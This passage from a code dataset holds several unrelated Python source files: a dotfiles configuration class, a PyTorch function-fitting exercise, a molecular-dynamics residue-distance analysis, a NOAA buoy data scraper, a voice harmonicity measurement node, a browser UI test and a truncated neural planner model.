+{"seq_id":"202853438","text":"#!/usr/bin/env python2\nimport homekeeper.util\nimport logging\nimport json\nimport os\n\nutil = homekeeper.util\n\nclass Config(object):\n \"\"\"Representation of the homekeeper configuration file (homekeeper.json).\"\"\"\n\n PATHNAME = os.path.join(os.getenv('HOME'), '.homekeeper.json')\n DEFAULTS = {\n 'base': None,\n 'directory': os.path.join(os.getenv('HOME'), 'dotfiles'),\n 'excludes': ['.git', '.gitignore', 'LICENSE', 'README.md'],\n 'cherrypicks': [],\n 'override': False\n }\n\n def __init__(self, pathname=None):\n self.data = self.DEFAULTS\n self.pathname = self.PATHNAME\n if pathname is None:\n logging.info('homekeeper configuration not specified; assuming '\n 'defaults')\n return\n self.pathname = os.path.realpath(pathname)\n if not os.path.exists(self.pathname):\n logging.info('homekeeper configuration not found; assuming '\n 'defaults')\n return\n try:\n logging.info('found homekeeper configuration at %s', self.pathname)\n self.data = json.loads(util.fopen(self.pathname).read())\n except ValueError:\n logging.info('homekeeper configuration invalid; assuming defaults')\n if 'dotfiles_directory' in self.data:\n self.data['directory'] = self.data['dotfiles_directory']\n del self.data['dotfiles_directory']\n if self.directory == os.path.realpath(os.getenv('HOME')):\n logging.info('your dotfiles directory cannot be your home '\n 'directory')\n self.data['directory'] = self.DEFAULTS['directory']\n return\n\n def reset(self):\n self.data = self.DEFAULTS\n\n def save(self, pathname=None):\n \"\"\"Saves the configuration data to a file. Existing configuration will\n be removed.\n\n Args:\n pathname: The file to save the configuration to.\n \"\"\"\n pathname = pathname or self.pathname\n if os.path.exists(pathname):\n os.remove(pathname)\n with util.fopen(pathname, 'w') as cfile:\n cfile.write(json.dumps(self.data, sort_keys=True, indent=4))\n logging.info('saved configuration to %s', pathname)\n\n @property\n def base(self):\n return self.data.get('base', self.DEFAULTS['base'])\n\n @base.setter\n def base(self, value):\n self.data['base'] = value\n\n @property\n def excludes(self):\n return self.data.get('excludes', self.DEFAULTS['excludes'])\n\n @excludes.setter\n def excludes(self, value):\n self.data['excludes'] = value\n\n @property\n def cherrypicks(self):\n return self.data.get('cherrypicks', self.DEFAULTS['cherrypicks'])\n\n @cherrypicks.setter\n def cherrypicks(self, value):\n self.data['cherrypicks'] = value\n\n @property\n def override(self):\n return self.data.get('override', self.DEFAULTS['override'])\n\n @override.setter\n def override(self, value):\n self.data['override'] = value\n\n @property\n def directory(self):\n return self.data.get('directory', self.DEFAULTS['directory'])\n\n @directory.setter\n def directory(self, value):\n self.data['directory'] = value\n\n","sub_path":"homekeeper/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"317057005","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\n\n# In[2]:\n\n\ndef flatten_param(model):\n [param.grad for param in model.parameters()]\n return torch.cat([param.grad.data.view(-1) for param in model.parameters()], 0)\n# flatten_param(FuncNet3())\n# [p.grad.cpu().data.numpy() for p in FuncNet3().parameters()]\n\n\n# In[3]:\n\n\ndef count_parameters(model):\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\n\n\n# In[10]:\n\n\nclass FuncNet1(nn.Module):\n def __init__(self):\n super(FuncNet1, self).__init__()\n self.fc1 = nn.Linear(1, 5)\n self.fc2 = nn.Linear(5, 8)\n self.fc3 = nn.Linear(8, 10) \n self.fc4 = nn.Linear(10, 10)\n self.fc5 = nn.Linear(10, 10) \n self.fc6 = nn.Linear(10, 8)\n self.fc7 = nn.Linear(8, 5)\n self.fc8 = nn.Linear(5, 1)\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n x = F.relu(self.fc4(x))\n x = F.relu(self.fc5(x))\n x = F.relu(self.fc6(x))\n x = F.relu(self.fc7(x))\n x = self.fc8(x)\n return x\n\nclass FuncNet2(nn.Module):\n def __init__(self):\n super(FuncNet2, self).__init__()\n self.fc1 = nn.Linear(1, 8)\n self.fc2 = nn.Linear(8, 15) \n self.fc3 = nn.Linear(15, 14) \n self.fc4 = nn.Linear(14, 8)\n self.fc5 = nn.Linear(8, 1)\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n x = F.relu(self.fc4(x))\n x = self.fc5(x)\n return x\n\nclass FuncNet3(nn.Module):\n def __init__(self):\n super(FuncNet3, self).__init__()\n self.fc1 = nn.Linear(1, 21)\n self.fc2 = nn.Linear(21, 20)\n self.fc3 = nn.Linear(20, 1)\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n\n# In[113]:\n\n\nprint(count_parameters(FuncNet1()))\nprint(count_parameters(FuncNet2()))\nprint(count_parameters(FuncNet3()))\n\n\n# In[130]:\n\n\ndef our_func(x):\n# return math.cos(2*math.pi*x) * math.pi*x\n return math.cos(2*math.pi*x) * math.sin(math.pi*x)\nx = torch.from_numpy(np.arange(1.0, 4.0, 0.001))\ny = torch.from_numpy(np.array([our_func(xx) for xx in x]))\n\n\n# In[170]:\n\n\n# plt.plot(x.numpy(), y.numpy())\n# plt.show()\n\n\n# In[133]:\n\n\nlosses = []\nlines = []\nfuncNets = [FuncNet1(), FuncNet2(), FuncNet3()]\ncriterion = nn.MSELoss()\n\nfor funcNet in funcNets:\n print(funcNet)\n# optimizer = optim.SGD(funcNet.parameters(), lr=0.002, momentum=0.95)\n optimizer = optim.Adam(funcNet.parameters())\n aloss = []\n for epoch in range(10000): # loop over the dataset multiple times\n running_loss = 0.0\n # wrap them in Variable\n inputs, labels = Variable(x.float().view(len(x),1)), Variable(y.float().view(len(x),1))\n # zero the parameter gradients\n optimizer.zero_grad()\n # forward + backward + optimize\n outputs = funcNet(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n # print statistics\n running_loss += loss.data[0]\n aloss.append(running_loss)\n if epoch % 1000 == 999: # print every 2000 mini-batches\n print('[%d] loss: %.3f' %\n (epoch + 1, running_loss))\n running_loss = 0.0\n lines.append(outputs)\n losses.append(aloss)\n\n\n# In[166]:\n\n\nfor i, cc in enumerate([\"b\", \"g\", \"r\"]):\n plt.plot(list(range(8000)), losses[i][:8000], c=cc)\nplt.legend(['8 layer','5 layer','3 layer'])\nplt.title(\"loss\")\nplt.savefig(\"image/loss\")\nplt.show()\n# plt.savefig(\"loss\")\n\n\n# In[ ]:\n\n\nplt.plot(x.numpy(), y.numpy())\nfor i, cc in enumerate([\"r\", \"g\", \"y\"]):\n plt.plot(x.numpy(), lines[i].data.numpy(), c=cc)\nplt.legend(['our function','8 layer','5 layer', '3 layer'])\nplt.title(\"simulate function\")\nplt.savefig(\"image/simulate_function\")\nplt.show()\n# plt.savefig(\"simulate_function\")\n\n","sub_path":"HW1-1_1.py","file_name":"HW1-1_1.py","file_ext":"py","file_size_in_byte":4173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"569310039","text":"import MDAnalysis as mda\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nfrom MDAnalysis.analysis.base import AnalysisBase\nfrom MDAnalysis.analysis.distances import distance_array\nfrom MDAnalysis.analysis.distances import dist\n\n\ndef remove_return(string):\n ret_line = string.split('\\n')\n return ret_line[0]\n\n\ndef read_input(path):\n # Input data structures\n section = 0\n topology_path = ''\n trajectory_path = []\n single_frame_funcs = []\n resid_pair = [0, 0]\n resid_pair_list = []\n start = None\n stop = None\n step = None\n out_dir = ''\n\n with open(path, 'r') as input_data:\n # Data pulled from list\n for line in input_data:\n # Establishing where loop in input file\n if '1:' in line:\n section = 1\n\n elif '2:' in line:\n section = 2\n\n elif '3:' in line:\n section = 3\n\n elif '4:' in line:\n section = 4\n\n # reading input based on position in file\n elif section == 0 and '0:':\n if 'topology_path' in line:\n input_line = line\n text = input_line.split('=')\n topology_path = remove_return(text[1])\n elif 'trajectory_path' in line:\n input_line = line\n text = input_line.split('=')\n trajectory_path.append(remove_return(text[1]))\n\n elif section == 1 and '1:' not in line:\n input_line = line\n text = input_line.split()\n resid_pair[0] = int(text[0])\n resid_pair[1] = int(text[1])\n resid_pair_list.append(resid_pair.copy())\n\n elif section == 2 and '2:' not in line:\n input_line = line\n text = input_line.split('=')\n setting = [None]\n setting[0] = text[1]\n if setting[0] == 'False\\n':\n setting[0] = False\n\n elif setting[0] == 'True\\n':\n setting[0] = True\n\n single_frame_funcs.append(setting[0])\n\n elif section == 3 and '3:' not in line:\n if 'start' in line:\n input_line = line\n text = input_line.split('=')\n start = int(text[1])\n\n if 'stop' in line:\n input_line = line\n text = input_line.split('=')\n stop = int(text[1])\n\n if 'step' in line:\n input_line = line\n text = input_line.split('=')\n step = int(text[1])\n\n elif section == 4 and '4:' not in line:\n input_line = line\n text = input_line.split('=')\n out_dir = text[1]\n\n # Output as data\n input_vars = {'topology': topology_path,\n 'trajectory': trajectory_path,\n 'residues': resid_pair_list,\n 'functions': single_frame_funcs,\n 'start': start,\n 'stop': stop,\n 'step': step,\n 'out_dir': out_dir}\n return input_vars\n\n\ndef write_dataframe(result_dict, time_list):\n column_key = []\n result_dict['Time'] = time_list\n for key in result_dict:\n column_key.append(key)\n\n data = np.zeros((len(time_list), len(column_key)))\n\n for header in range(len(column_key)):\n key = column_key[header]\n for i in range(data.shape[0]):\n data[i, header] = result_dict[key][i]\n\n result_frame = pd.DataFrame(data, columns=column_key)\n return result_frame\n\n\ndef write_csv(dataframe, out_dir):\n dataframe.to_csv(out_dir, header=True)\n return\n\n\ndef save_figure(csv_path):\n def read_csv(path):\n file_headers = []\n\n with open(path, 'r') as datafile:\n data = datafile.readlines()\n header_line = data[0]\n if '\\n' in header_line:\n header_line = remove_return(header_line)\n\n items = header_line.split(',')\n for item in items:\n file_headers.append(item)\n\n file_headers = file_headers[1:]\n csv_data = np.genfromtxt(path, delimiter=',', skip_header=1)\n return csv_data, file_headers\n\n def build_figure(data, figure_headers, png_name):\n for col in range(0, len(headers) - 1):\n fig = plt.plot(data[:, col + 1], label=figure_headers[col])\n plt.legend()\n\n plt.xlabel('Time (ps)')\n plt.ylabel('Pair Distance (angstrom)')\n plt.savefig(png_name, dpi=600)\n return\n\n dist_data, headers = read_csv(csv_path)\n csv_path = csv_path.split('.')\n file_name = csv_path[0] + '.png'\n build_figure(dist_data, headers, file_name)\n return\n\n\ndef build_universe(topology_path, *args):\n universe = mda.Universe(topology_path, args)\n return universe\n\n\n# Selects residue atoms from an its integer residue number\ndef select_resnum_atoms(res_num, universe):\n resid_num = 'resid ' + str(res_num)\n atoms = universe.select_atoms(resid_num)\n return atoms\n\n\n# Selects residue alpha carbon from its integer residue number\ndef select_resid_ca(res_num, universe):\n selection = 'resid ' + str(res_num) + ' and name CA'\n res_ca = universe.select_atoms(selection)\n return res_ca\n\n\ndef save_resid_cm(res_num, universe):\n res_atoms = select_resnum_atoms(res_num, universe)\n coords = res_atoms.center_of_mass()\n return coords\n\n\ndef save_resid_cg(res_num, universe):\n res_atoms = select_resnum_atoms(res_num, universe)\n coords = res_atoms.center_of_geometry()\n return coords\n\n\n# Writes atom group coordinates into numpy array\ndef save_atom_coords(atom_group):\n coords = atom_group.positions\n return coords\n\n\n# Selects residue atoms and writes coordinates into numpy array\ndef save_resnum_coords(res_num, universe):\n res_atoms = select_resnum_atoms(res_num, universe)\n res_coords = save_atom_coords(res_atoms)\n return res_coords\n\n\ndef save_ca_coords(res_num, universe):\n ca = select_resid_ca(res_num, universe)\n ca_coords = save_atom_coords(ca)\n return ca_coords\n\n\ndef build_reslist_dict(res_pair_list):\n res_pairs = {}\n for respair in res_pair_list:\n key_name = str(respair[0]) + '-' + str(respair[1])\n res_pairs[key_name] = []\n res_keys = list(res_pairs.keys())\n return res_pairs, res_keys\n\n\ndef dist_calc(coordinates_a, coordinates_b):\n group_dist = distance_array(coordinates_a, coordinates_b)\n return group_dist\n\n\ndef atom_dist(cooridnates_a, cooridnates_b):\n distance = dist(cooridnates_a, cooridnates_b)\n return distance\n\n\nclass FrameAnalysis(AnalysisBase):\n def __init__(self, universe, res_pairs, func_set):\n super(FrameAnalysis, self).__init__(universe.trajectory)\n self._unv = universe # Universe being analyzed\n self._rpl = res_pairs # First list of int residue numbers\n self._fxn = func_set # Bool values enabling functions\n\n def _prepare(self):\n \"\"\" Builds dictionary to store function outputs computed for inputted residue pairs.\n Keys are string of the respective residue numbers punctuated by a hyphen ex: '121-145'\n dist_calc outputs 2d numpy array with dimensions equal to atoms of each residue.\n Each frame will output an array of the distances of calculated for the given reside pairs\"\"\"\n # Time list\n self.time_list = []\n # Distance array\n if self._fxn[0] is True:\n self.res_dists, self.res_keys = build_reslist_dict(self._rpl)\n\n # Distance between alpha carbons\n if self._fxn[1] is True:\n self.ca_dists, self.ca_keys = build_reslist_dict(self._rpl)\n\n # Distance between resid center of mass\n if self._fxn[2] is True:\n self.cm_dists, self.cm_keys = build_reslist_dict(self._rpl)\n\n # Distance between resid center of geometry\n if self._fxn[3] is True:\n self.cg_dists, self.cg_keys = build_reslist_dict(self._rpl)\n\n def _single_frame(self):\n # Saving time values\n self.time_list.append(self._unv.trajectory.time)\n # Only running functions specified in input file\n if self._fxn[0] is True:\n # Iterating through index pairs and returning distance array to dictionary\n for key in range(len(self.res_keys)):\n self.cord1 = save_resnum_coords(self._rpl[key][0], self._unv)\n self.cord2 = save_resnum_coords(self._rpl[key][1], self._unv)\n self.res_dists[self.res_keys[key]].append(dist_calc(self.cord1, self.cord2))\n\n if self._fxn[1] is True:\n # Iterating through index pairs and returning alpha carbon distance\n for key in range(len(self.ca_keys)):\n self.cord1 = save_ca_coords(self._rpl[key][0], self._unv)\n self.cord2 = save_ca_coords(self._rpl[key][1], self._unv)\n self.ca_dists[self.ca_keys[key]].append(dist_calc(self.cord1, self.cord2))\n\n if self._fxn[2] is True:\n # Iterating through index pairs and returning residue center of mass distance\n for key in range(len(self.cm_keys)):\n self.cord1 = save_resid_cm(self._rpl[key][0], self._unv)\n self.cord2 = save_resid_cm(self._rpl[key][1], self._unv)\n self.cm_dists[self.cm_keys[key]].append(dist_calc(self.cord1, self.cord2))\n\n if self._fxn[3] is True:\n # Iterating through index pairs and returning residue center of geometry distance\n for key in range(len(self.cg_keys)):\n self.cord1 = save_resid_cg(self._rpl[key][0], self._unv)\n self.cord2 = save_resid_cg(self._rpl[key][1], self._unv)\n self.cg_dists[self.cg_keys[key]].append(dist_calc(self.cord1, self.cord2))\n\n def _conclude(self):\n if self._fxn[0] is True:\n pass\n\n if self._fxn[1] is True:\n self.ca_data = write_dataframe(self.ca_dists, self.time_list)\n\n if self._fxn[2] is True:\n self.cm_data = write_dataframe(self.cm_dists, self.time_list)\n\n if self._fxn[3] is True:\n self.cg_data = write_dataframe(self.cg_dists, self.time_list)\n\n\nif __name__ == '__main__':\n # Accepting arguments\n input_path = str(sys.argv[1])\n input_test = 'template_input'\n\n # Getting inputs\n input_variables = read_input(input_test)\n\n # Defining universe\n unv = build_universe(input_variables['topology'], input_variables['trajectory'])\n\n # Running analysis\n analysis_output = FrameAnalysis(unv, input_variables['residues'], input_variables['functions']) \\\n .run(start=input_variables['start'], step=input_variables['step'], stop=input_variables['stop'])\n\n # Writing output\n if input_variables['functions'][0]:\n pass\n\n elif input_variables['functions'][1]:\n out_name = input_variables['out_dir'] + '/' + 'ca.csv'\n write_csv(analysis_output.ca_keys, out_name)\n save_figure(out_name)\n\n elif input_variables['functions'][2]:\n out_name = input_variables['out_dir'] + '/' + 'cm.csv'\n write_csv(analysis_output.cm_keys, out_name)\n save_figure(out_name)\n\n elif input_variables['functions'][3]:\n out_name = input_variables['out_dir'] + '/' + 'cg.csv'\n write_csv(analysis_output.cg_keys, out_name)\n save_figure(out_name)\n","sub_path":"res_dist.py","file_name":"res_dist.py","file_ext":"py","file_size_in_byte":11564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"243677145","text":"# imported the requests library\nimport requests\nimport pandas as pd\nimport datetime\n\nirenebuoy = [\"42060\", \"41043\", \"41046\", \"41004\", \"41013\", \"41025\", \"44014\", \"44009\", \"44025\", \"44020\"] # bouynumber array\nyear = \"2011\" # year\n\n\ntestdf = pd.read_csv(\"stations.csv\")\nstationdic = {}\n\n\nfor index, row in testdf.iterrows():\n ID = testdf.loc[index, 'ID']\n if ID in irenebuoy:\n if ID not in stationdic.keys():\n stationdic[ID] = [testdf.loc[index, 'Lat'],\n testdf.loc[index, 'Lon']]\n stationdic[ID][1] = stationdic[ID][1].replace('\\u00ad', '-')\n stationdic[ID][0] = stationdic[ID][0].replace('\\u00ad', '-')\n\nprint(stationdic)\n\n\nfor i in irenebuoy:\n text_url = \"https://www.ndbc.noaa.gov/view_text_file.php?filename=\" + \\\n i + \"h\" + year + \".txt.gz&dir=data/historical/stdmet/\"\n\n r = requests.get(text_url) # create HTTP response object\n\n # send a HTTP request to the server and save\n # the HTTP response in a response object called r\n\n with open(i + \".txt\", 'wb') as f:\n\n # Saving received content as a text file in\n # binary format\n # write the contents of the response (r.content)\n # to a new file in binary mode.\n f.write(r.content)\n\nmaindf = pd.DataFrame()\n\nwindspeedfinal = []\npressurefinal = []\nyearfinal = []\nmonthfinal = []\ndayfinal = []\nhourfinal = []\nminsfinal = []\nwaveheightfinal = []\nwaveperiodfinal = []\nwavedirectionfinal = []\nlatfinal = []\nwinddirfinal = []\nlonfinal = []\nidlistfinal = []\nfor i in irenebuoy:\n\n f = open(i + '.txt', 'r')\n\n windspeed = []\n winddir = []\n pressure = []\n year = []\n month = []\n day = []\n hour = []\n mins = []\n waveheight = []\n waveperiod = []\n wavedirection = []\n lat = []\n lon = []\n idlist = []\n for line in f:\n winddir.append(line[17:21])\n windspeed.append(line[21:25])\n pressure.append(line[53:59])\n year.append(line[0:5])\n month.append(line[5:8])\n day.append(line[8:11])\n hour.append(line[11:14])\n mins.append(line[14:17])\n waveheight.append(line[32:36])\n waveperiod.append(line[44:48])\n wavedirection.append(line[49:52])\n lat.append(stationdic[i][0])\n lon.append(stationdic[i][1])\n idlist.append(i)\n winddirfinal = winddirfinal + winddir[2:]\n windspeedfinal = windspeedfinal + windspeed[2:]\n pressurefinal = pressurefinal + pressure[2:]\n yearfinal = yearfinal + year[2:]\n monthfinal = monthfinal + month[2:]\n dayfinal = dayfinal + day[2:]\n hourfinal = hourfinal + hour[2:]\n minsfinal = minsfinal + mins[2:]\n waveheightfinal = waveheightfinal + waveheight[2:]\n waveperiodfinal = waveperiodfinal + waveperiod[2:]\n wavedirectionfinal = wavedirectionfinal + wavedirection[2:]\n latfinal = latfinal + lat[2:]\n lonfinal = lonfinal + lon[2:]\n idlistfinal = idlistfinal + idlist[2:]\n #pressurefinal = pressurefinal + pressure[2:]\n\n\nmaindf['ID'] = idlistfinal\nmaindf['year'] = yearfinal\nmaindf['month'] = monthfinal\nmaindf['day'] = dayfinal\nmaindf['hour'] = hourfinal\nmaindf['mins'] = minsfinal\nmaindf['waveperiod'] = waveperiodfinal\nmaindf['wavedirection'] = wavedirectionfinal\nmaindf['waveheight'] = waveheightfinal\nmaindf['Lat'] = latfinal\nmaindf['Lon'] = lonfinal\nmaindf['WindDir'] = winddirfinal\n\n\n# from 2 to the end so as to ignore the title lables\nmaindf['windspeed'] = windspeedfinal\nmaindf['pressure'] = pressurefinal\n\n# CONVERTING TO NUMERIC\n\nfor i in maindf.columns:\n maindf[i] = pd.to_numeric(maindf[i], downcast='float', errors='coerse')\n\"\"\"maindf['ID'] = pd.to_numeric(maindf['ID'],downcast = 'float',errors = 'coerse');\nmaindf['pressure'] = pd.to_numeric(maindf['pressure'],downcast = 'float',errors = 'coerse');\nmaindf['windspeed'] = pd.to_numeric(maindf['windspeed'],downcast = 'float',errors = 'coerse');\nmaindf['waveperiod'] = pd.to_numeric(maindf['waveperiod'],errors = 'coerse',downcast = 'float');\nmaindf['wavedirection'] = pd.to_numeric(maindf['wavedirection'],errors = 'coerse',downcast = 'float');\nmaindf['Lat'] = pd.to_numeric(maindf['Lat'],downcast = 'float',errors = 'coerse');\nmaindf['Lon'] = pd.to_numeric(maindf['Lon'],errors = 'coerse',downcast = 'float');\"\"\"\nl = []\nfor i in maindf['WindDir']:\n\n if i in range(35, 70):\n l.append('NE')\n\n elif i in range(70, 115):\n l.append('E')\n\n elif i in range(115, 155):\n l.append('SE')\n elif i in range(155, 200):\n l.append('S')\n elif i in range(200, 245):\n l.append('SW')\n elif i in range(245, 300):\n l.append('W')\n elif i in range(300, 345):\n l.append('NW')\n else:\n l.append('N')\nmaindf['WindDir_L'] = l\n\n\"\"\"for index,rows in maindf.iterrows():\n if maindf.loc[index,'pressure'] < 1005 :\n maindf.loc[index,\"possibility\"] = 1 \n else:\n maindf.loc[index,\"possibility\"] = 0 \n\"\"\"\n\n\n# MAKING A NEW COLUMN CALLED DATE AND TIME. THIS WILL BE USED FOR LABELLING\n\nfor index, rows in maindf.iterrows():\n maindf.loc[index, 'datetime'] = datetime.datetime(\n maindf.loc[index, 'year'], maindf.loc[index,\n 'month'], maindf.loc[index, 'day'],\n maindf.loc[index, 'hour'], maindf.loc[index, 'mins'], 0)\n\nmaindf = maindf.sort_values(['datetime'])\n\nmaindf['hurrthreat'] = 0\nfor index, rows in maindf.iterrows():\n i = maindf.loc[index, 'datetime']\n if ((i.day > 1) and (i.day < 29) and (i.month == 8)):\n maindf.loc[index, 'hurrthreat'] = 1\nmaindf['DaysTH'] = 0\nj = datetime.datetime(2011,8,29)\nfor index , row in maindf.iterrows():\n i = maindf.loc[index,'datetime'];\n diff =j-i;\n maindf.loc[index,'DaysTH'] = diff.days\n\n\n\n\n\n\nmaindf.to_csv(\"IRENECSV.csv\")\n# print(latfinal)\n","sub_path":"Model/SCRAPINGALGO.py","file_name":"SCRAPINGALGO.py","file_ext":"py","file_size_in_byte":5781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"583684556","text":"from Voicelab.pipeline.Node import Node\nfrom parselmouth.praat import call\nfrom Voicelab.toolkits.Voicelab.VoicelabNode import VoicelabNode\n\n###################################################################################################\n# MEASURE HARMONICITY NODE\n# WARIO pipeline node for measuing the harmonicity of a voice.\n###################################################################################################\n# ARGUMENTS\n# 'voice' : sound file generated by parselmouth praat\n###################################################################################################\n# RETURNS\n###################################################################################################\n\n\nclass MeasureHarmonicityNode(VoicelabNode):\n def __init__(self, *args, **kwargs):\n\n \"\"\"\n Args:\n *args:\n **kwargs:\n \"\"\"\n super().__init__(*args, **kwargs)\n\n self.args = {\n \"Algorithm\": (\n \"To Harmonicity (cc)\",\n [\"To Harmonicity (cc)\", \"To Harmonicity (ac)\"],\n ),\n \"Timestep\": 0.01,\n \"Silence Threshold\": 0.1,\n \"Periods per Window\": 1.0,\n }\n\n ###############################################################################################\n # process: WARIO hook called once for each voice file.\n ###############################################################################################\n\n def process(self):\n \"\"\"This function measures Harmonics to Noise Ratio\"\"\"\n try:\n sound = self.args[\"voice\"]\n algorithm = self.args[\"Algorithm\"][\n 0\n ] # the selected algorithm, allows for interactivity\n\n timestep = self.args[\"Timestep\"]\n silence_threshold = self.args[\"Silence Threshold\"]\n periods_per_window = self.args[\"Periods per Window\"]\n\n # measure pitch ceiling and floor\n broad_pitch = call(\n sound, \"To Pitch (cc)\", 0, 50, 15, \"yes\", 0.03, 0.45, 0.01, 0.35, 0.14, 800\n )\n broad_mean_f0: float = call(\n broad_pitch, \"Get mean\", 0, 0, \"hertz\"\n ) # get mean pitch\n\n if broad_mean_f0 < 400:\n pitch2 = call(\n sound,\n \"To Pitch (cc)\",\n 0,\n 50,\n 15,\n \"yes\",\n 0.03,\n 0.45,\n 0.01,\n 0.35,\n 0.14,\n 500,\n )\n pitch2_min_f0: float = call(\n pitch2, \"Get minimum\", 0, 0, \"hertz\", \"Parabolic\"\n ) # get min pitch\n pitch2_max_f0: float = call(\n pitch2, \"Get maximum\", 0, 0, \"hertz\", \"Parabolic\"\n ) # get max pitch\n else:\n pitch2 = call(\n sound,\n \"To Pitch (cc)\",\n 0,\n 50,\n 15,\n \"yes\",\n 0.03,\n 0.45,\n 0.01,\n 0.35,\n 0.14,\n 800,\n )\n pitch2_min_f0: float = call(\n pitch2, \"Get minimum\", 0, 0, \"hertz\", \"Parabolic\"\n ) # get min pitch\n pitch2_max_f0: float = call(\n pitch2, \"Get maximum\", 0, 0, \"hertz\", \"Parabolic\"\n ) # get max pitch\n\n pitch_floor: float = pitch2_min_f0 * 0.9\n\n harmonicity: float = call(\n sound,\n algorithm,\n timestep,\n pitch_floor,\n silence_threshold,\n periods_per_window,\n )\n\n hnr: float = call(harmonicity, \"Get mean\", 0, 0)\n\n return {\"Harmonics to Noise Ratio\": hnr}\n except:\n return {\"Harmonics to Noise Ratio\": \"Measurement failed\"}","sub_path":"Voicelab/toolkits/Voicelab/MeasureHarmonicityNode.py","file_name":"MeasureHarmonicityNode.py","file_ext":"py","file_size_in_byte":4092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"62459252","text":"#coding=utf-8\nfrom pyse import Pyse,TestRunner\nfrom time import sleep\nimport unittest\n\nclass baiduTest(unittest.TestCase):\n\n def setUp(self):\n self.driver = Pyse(\"chrome\")\n self.driver.wait(10)\n self.base_url = \"http://www.baidu.com\"\n\n def test_case(self):\n driver = self.driver\n driver.open(self.base_url)\n driver.click_text(\"设置\")\n driver.click_text(\"搜索设置\")\n sleep(2)\n driver.click(\"//a[@class='prefpanelgo']\")\n sleep(1)\n driver.accept_alert()\n\n def tearDown(self):\n self.driver.quit()\n\nif __name__ == '__main__':\n\tTestRunner(r\"C:\\Python27\\Lib\\site-packages\\pyse\\demo\").run()\n","sub_path":"demo/unittest_case.py","file_name":"unittest_case.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"63627303","text":"\"\"\"\r\nAn example for the model class\r\n\"\"\"\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom graphs.weights_initializer import weights_init\r\nimport numpy as np\r\nimport utils.graphUtils.graphML as gml\r\nimport utils.graphUtils.graphTools\r\nfrom torchsummaryX import summary\r\nfrom graphs.models.resnet_pytorch import *\r\n\r\nclass DecentralPlannerNet(nn.Module):\r\n def __init__(self, config):\r\n super().__init__()\r\n self.config = config\r\n self.S = None\r\n self.numAgents = self.config.num_agents\r\n # inW = self.config.map_w\r\n # inH = self.config.map_h\r\n\r\n inW = self.config.FOV + 2\r\n inH = self.config.FOV + 2\r\n # invW = 11\r\n # inH = 11\r\n\r\n convW = [inW]\r\n convH = [inH]\r\n numAction = 5\r\n\r\n use_vgg = False\r\n\r\n\r\n\r\n # ------------------ DCP v1.4 - with maxpool + non stride in CNN - less feature\r\n numChannel = [3] + [32, 32, 64, 64, 128]\r\n numStride = [1, 1, 1, 1, 1]\r\n\r\n dimCompressMLP = 1\r\n numCompressFeatures = [self.config.bottleneckFeature]\r\n\r\n nMaxPoolFilterTaps = 2\r\n numMaxPoolStride = 2\r\n\r\n # # 1 layer origin\r\n dimNodeSignals = [self.config.bottleneckFeature]\r\n\r\n # # 2 layer - upsampling\r\n # dimNodeSignals = [256, 2 ** 7]\r\n\r\n # # 2 layer - down sampling\r\n # dimNodeSignals = [64, 2 ** 7]\r\n #\r\n # # 2 layer - down sampling -v2\r\n # dimNodeSignals = [64, 32]\r\n #\r\n\r\n # ------------------ DCP v3 - vgg\r\n # numChannel = [3] + [64, 128, 256, 256, 512, 512, 512, 512]\r\n # numStride = [1, 1, 2, 1, 1, 2, 1, 1]\r\n #\r\n # dimCompressMLP = 3\r\n # numCompressFeatures = [2 ** 12, 2 ** 12, 128]\r\n\r\n # ------------------ DCP v4 - vgg with max pool & dropout\r\n # use_vgg = True\r\n # cfg = [64, 'M', 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M']\r\n\r\n ## ------------------ GCN -------------------- ##\r\n # dimNodeSignals = [2 ** 7]\r\n # nGraphFilterTaps = [self.config.nGraphFilterTaps,self.config.nGraphFilterTaps] # [2]\r\n nGraphFilterTaps = [self.config.nGraphFilterTaps]\r\n # --- actionMLP\r\n if self.config.use_dropout:\r\n dimActionMLP = 2\r\n numActionFeatures = [self.config.numInputFeatures, numAction]\r\n else:\r\n dimActionMLP = 1\r\n numActionFeatures = [numAction]\r\n\r\n\r\n #####################################################################\r\n # #\r\n # CNN to extract feature #\r\n # #\r\n #####################################################################\r\n if use_vgg:\r\n self.ConvLayers = self.make_layers(cfg, batch_norm=True)\r\n self.compressMLP = nn.Sequential(\r\n nn.Linear(512, 4096),\r\n nn.ReLU(inplace=True),\r\n nn.Dropout(),\r\n nn.Linear(4096, 4096),\r\n nn.ReLU(inplace=True),\r\n nn.Dropout(),\r\n nn.Linear(4096, 128)\r\n )\r\n numCompressFeatures = [128]\r\n else:\r\n if self.config.CNN_mode == 'ResNetSlim_withMLP':\r\n convl = []\r\n convl.append(ResNetSlim(BasicBlock, [1, 1], out_map=False))\r\n convl.append(nn.Dropout(0.2))\r\n convl.append(nn.Flatten())\r\n convl.append(nn.Linear(in_features=1152, out_features=self.config.numInputFeatures, bias=True))\r\n self.ConvLayers = nn.Sequential(*convl)\r\n numFeatureMap = self.config.numInputFeatures\r\n elif self.config.CNN_mode == 